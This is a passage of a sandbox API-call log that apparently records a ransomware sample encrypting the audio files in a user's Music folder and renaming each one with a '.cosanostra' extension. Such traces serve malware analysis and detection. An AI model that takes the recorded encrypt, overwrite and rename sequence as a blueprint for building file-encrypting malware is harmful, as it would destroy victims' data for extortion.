(lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\7wItDdj.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\7witddj.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\7wItDdj.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\7witddj.mp3.cosanostra")) returned 1 [0097.700] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff418 | out: pbBuffer=0x26ff418) returned 1 [0097.700] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff410*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff410*=0x30) returned 1 [0097.700] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\NXqhsb3l8ZoroGVSUe.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\nxqhsb3l8zorogvsue.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.700] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\NXqhsb3l8ZoroGVSUe.mp3") returned 124 [0097.700] StrStrW (lpFirst="NXqhsb3l8ZoroGVSUe.mp3", lpSrch=".txt") returned 0x0 [0097.701] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.701] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3d4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff3d4*=0x2800, lpOverlapped=0x0) returned 1 [0097.701] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.702] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff414*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3d4, lpOverlapped=0x0 | out: lpBuffer=0x26ff414*, lpNumberOfBytesWritten=0x26ff3d4*=0x4, lpOverlapped=0x0) returned 1 [0097.702] WriteFile (in: hFile=0x15c, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3d4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff3d4*=0x30, lpOverlapped=0x0) returned 1 [0097.702] CloseHandle (hObject=0x15c) returned 1 [0097.702] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\NXqhsb3l8ZoroGVSUe.mp3.cosanostra") returned 135 [0097.702] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\NXqhsb3l8ZoroGVSUe.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\nxqhsb3l8zorogvsue.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\NXqhsb3l8ZoroGVSUe.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\nxqhsb3l8zorogvsue.mp3.cosanostra")) returned 1 [0097.703] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff410 | out: pbBuffer=0x26ff410) returned 1 [0097.703] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff408*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff408*=0x30) returned 1 [0097.703] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\NC4YNE417Ff_TPxpe.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\nc4yne417ff_tpxpe.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.704] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\NC4YNE417Ff_TPxpe.mp3") returned 123 [0097.704] StrStrW (lpFirst="NC4YNE417Ff_TPxpe.mp3", lpSrch=".txt") returned 0x0 [0097.704] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.705] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3cc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff3cc*=0x2800, lpOverlapped=0x0) returned 1 [0097.705] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.705] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff40c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3cc, lpOverlapped=0x0 | out: lpBuffer=0x26ff40c*, lpNumberOfBytesWritten=0x26ff3cc*=0x4, lpOverlapped=0x0) returned 1 [0097.705] WriteFile (in: hFile=0x15c, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3cc, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff3cc*=0x30, lpOverlapped=0x0) returned 1 [0097.705] CloseHandle (hObject=0x15c) returned 1 [0097.705] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\NC4YNE417Ff_TPxpe.mp3.cosanostra") returned 134 [0097.705] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\NC4YNE417Ff_TPxpe.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\nc4yne417ff_tpxpe.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\NC4YNE417Ff_TPxpe.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\nc4yne417ff_tpxpe.mp3.cosanostra")) returned 1 [0097.706] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff410 | out: pbBuffer=0x26ff410) returned 1 [0097.706] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff408*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff408*=0x30) returned 1 [0097.706] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\mHQca7JoE2ycrgFS.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\mhqca7joe2ycrgfs.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.707] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\mHQca7JoE2ycrgFS.wav") returned 122 [0097.707] StrStrW (lpFirst="mHQca7JoE2ycrgFS.wav", lpSrch=".txt") returned 0x0 [0097.708] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.708] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3cc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff3cc*=0x2800, lpOverlapped=0x0) returned 1 [0097.708] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.708] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff40c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3cc, lpOverlapped=0x0 | out: lpBuffer=0x26ff40c*, lpNumberOfBytesWritten=0x26ff3cc*=0x4, lpOverlapped=0x0) returned 1 [0097.708] WriteFile (in: hFile=0x15c, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3cc, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff3cc*=0x30, lpOverlapped=0x0) returned 1 [0097.708] CloseHandle (hObject=0x15c) returned 1 [0097.708] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\mHQca7JoE2ycrgFS.wav.cosanostra") returned 133 [0097.708] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\mHQca7JoE2ycrgFS.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\mhqca7joe2ycrgfs.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\mHQca7JoE2ycrgFS.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\mhqca7joe2ycrgfs.wav.cosanostra")) returned 1 [0097.709] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff408 | out: pbBuffer=0x26ff408) returned 1 [0097.709] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff400*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff400*=0x30) returned 1 [0097.709] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\jchJPZ1zTAH4lpXSuk4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\jchjpz1ztah4lpxsuk4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.710] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\jchJPZ1zTAH4lpXSuk4.wav") returned 125 [0097.710] StrStrW (lpFirst="jchJPZ1zTAH4lpXSuk4.wav", lpSrch=".txt") returned 0x0 [0097.711] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.711] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3c4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff3c4*=0x2800, lpOverlapped=0x0) returned 1 [0097.711] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.711] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff404*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3c4, lpOverlapped=0x0 | out: lpBuffer=0x26ff404*, lpNumberOfBytesWritten=0x26ff3c4*=0x4, lpOverlapped=0x0) returned 1 [0097.711] WriteFile (in: hFile=0x15c, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3c4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff3c4*=0x30, lpOverlapped=0x0) returned 1 [0097.711] CloseHandle (hObject=0x15c) returned 1 [0097.711] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\jchJPZ1zTAH4lpXSuk4.wav.cosanostra") returned 136 [0097.711] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\jchJPZ1zTAH4lpXSuk4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\jchjpz1ztah4lpxsuk4.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\2v2B4XY5F6QMs\\jchJPZ1zTAH4lpXSuk4.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\2v2b4xy5f6qms\\jchjpz1ztah4lpxsuk4.wav.cosanostra")) returned 1 [0097.712] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff408 | out: pbBuffer=0x26ff408) returned 1 [0097.712] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff400*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff400*=0x30) returned 1 [0097.712] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\2aw-u_p.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\2aw-u_p.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.713] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\2aw-u_p.wav") returned 82 [0097.713] StrStrW (lpFirst="2aw-u_p.wav", lpSrch=".txt") returned 0x0 [0097.714] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.714] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3c4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff3c4*=0x2800, lpOverlapped=0x0) returned 1 [0097.714] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.714] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff404*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3c4, lpOverlapped=0x0 | out: lpBuffer=0x26ff404*, lpNumberOfBytesWritten=0x26ff3c4*=0x4, lpOverlapped=0x0) returned 1 [0097.715] WriteFile (in: hFile=0x15c, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3c4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff3c4*=0x30, lpOverlapped=0x0) returned 1 [0097.715] CloseHandle (hObject=0x15c) returned 1 [0097.715] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\2aw-u_p.wav.cosanostra") returned 93 [0097.715] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\2aw-u_p.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\2aw-u_p.wav"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\2aw-u_p.wav.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\2aw-u_p.wav.cosanostra")) returned 1 [0097.716] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff400 | out: pbBuffer=0x26ff400) returned 1 [0097.716] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3f8*=0x30) returned 1 [0097.716] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\L3tjKK2u7fGbqTDHCcM.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\l3tjkk2u7fgbqtdhccm.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.717] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\L3tjKK2u7fGbqTDHCcM.m4a") returned 81 [0097.717] StrStrW (lpFirst="L3tjKK2u7fGbqTDHCcM.m4a", lpSrch=".txt") returned 0x0 [0097.718] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.718] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3bc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff3bc*=0x2800, lpOverlapped=0x0) returned 1 [0097.718] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.718] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff3fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3bc, lpOverlapped=0x0 | out: lpBuffer=0x26ff3fc*, lpNumberOfBytesWritten=0x26ff3bc*=0x4, lpOverlapped=0x0) returned 1 [0097.719] WriteFile (in: hFile=0x15c, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3bc, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff3bc*=0x30, lpOverlapped=0x0) returned 1 [0097.719] CloseHandle (hObject=0x15c) returned 1 [0097.719] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\L3tjKK2u7fGbqTDHCcM.m4a.cosanostra") returned 92 [0097.719] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\L3tjKK2u7fGbqTDHCcM.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\l3tjkk2u7fgbqtdhccm.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\L3tjKK2u7fGbqTDHCcM.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\l3tjkk2u7fgbqtdhccm.m4a.cosanostra")) returned 1 [0097.720] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff400 | out: pbBuffer=0x26ff400) returned 1 [0097.720] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3f8*=0x30) returned 1 [0097.720] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\Ir-9cCvqWzNWbP1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ir-9ccvqwznwbp1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.720] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\Ir-9cCvqWzNWbP1.mp3") returned 77 [0097.720] StrStrW (lpFirst="Ir-9cCvqWzNWbP1.mp3", lpSrch=".txt") returned 0x0 [0097.744] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.744] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff3bc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff3bc*=0x2800, lpOverlapped=0x0) returned 1 [0097.744] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.744] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff3fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff3bc, lpOverlapped=0x0 | out: lpBuffer=0x26ff3fc*, lpNumberOfBytesWritten=0x26ff3bc*=0x4, lpOverlapped=0x0) returned 1 [0097.745] WriteFile (in: hFile=0x15c, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff3bc, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff3bc*=0x30, lpOverlapped=0x0) returned 1 [0097.745] CloseHandle (hObject=0x15c) returned 1 [0097.745] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\Ir-9cCvqWzNWbP1.mp3.cosanostra") returned 88 [0097.745] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\Ir-9cCvqWzNWbP1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ir-9ccvqwznwbp1.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\Ir-9cCvqWzNWbP1.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ir-9ccvqwznwbp1.mp3.cosanostra")) returned 1 [0097.746] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3f8 | out: pbBuffer=0x26ff3f8) returned 1 [0097.746] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3f0*=0x30) returned 1 [0097.746] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\bxO3MVkv.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\bxo3mvkv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.747] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\bxO3MVkv.wav") returned 70 [0097.747] StrStrW (lpFirst="bxO3MVkv.wav", lpSrch=".txt") returned 0x0 [0097.748] 